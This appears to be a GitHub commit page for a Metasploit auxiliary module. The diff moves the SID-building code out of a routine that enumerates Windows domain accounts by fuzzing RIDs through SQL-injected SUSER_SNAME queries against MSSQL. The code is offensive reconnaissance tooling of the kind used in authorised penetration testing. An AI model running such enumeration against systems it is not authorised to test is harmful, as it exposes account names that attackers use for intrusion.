Skip to content

Commit d998d97

Browse files
committed
Refactor build_user_sid
1 parent aad860a commit d998d97

File tree

1 file changed

+16
-12
lines changed

1 file changed

+16
-12
lines changed

modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb

Lines changed: 16 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -164,7 +164,7 @@ def get_windows_domain_sid(db_domain_name)
164164
end
165165

166166
# Get list of windows accounts, groups and computer accounts
167-
def get_win_domain_users(windows_domain_sid)
167+
def get_win_domain_users(domain_sid)
168168
clue_start = Rex::Text.rand_text_alpha(8)
169169
clue_end = Rex::Text.rand_text_alpha(8)
170170

@@ -177,22 +177,14 @@ def get_win_domain_users(windows_domain_sid)
177177
print_status("#{peer} - Querying SID #{principal_id} of #{datastore['FuzzNum']}")
178178
end
179179

180-
# Convert number to hex and fix order
181-
principal_id = "%02X" % principal_id
182-
principal_id = principal_id.size.even? ? principal_id : "0#{principal_id}"
183-
principal_id = principal_id.scan(/(..)/).reverse.join
184-
# Add padding
185-
principal_id = principal_id.ljust(8, '0')
186-
187-
# Create full sid
188-
win_sid = "0x#{windows_domain_sid}#{principal_id}"
180+
user_sid = build_user_sid(domain_sid, principal_id)
189181

190182
# Return if sid does not resolve correctly for a domain
191-
if win_sid.length < 48
183+
if user_sid.length < 48
192184
return nil
193185
end
194186

195-
sql = "(SELECT '#{clue_start}'+(SELECT SUSER_SNAME(#{win_sid}) as name)+'#{clue_end}')"
187+
sql = "(SELECT '#{clue_start}'+(SELECT SUSER_SNAME(#{user_sid}) as name)+'#{clue_end}')"
196188

197189
result = mssql_query(sql)
198190

@@ -210,4 +202,16 @@ def get_win_domain_users(windows_domain_sid)
210202
windows_logins
211203
end
212204

205+
def build_user_sid(domain_sid, rid)
206+
# Convert number to hex and fix order
207+
principal_id = "%02X" % rid
208+
principal_id = principal_id.size.even? ? principal_id : "0#{principal_id}"
209+
principal_id = principal_id.scan(/(..)/).reverse.join
210+
# Add padding
211+
principal_id = principal_id.ljust(8, '0')
212+
213+
# Create full sid
214+
"0x#{domain_sid}#{principal_id}"
215+
end
216+
213217
end

0 commit comments

Comments
 (0)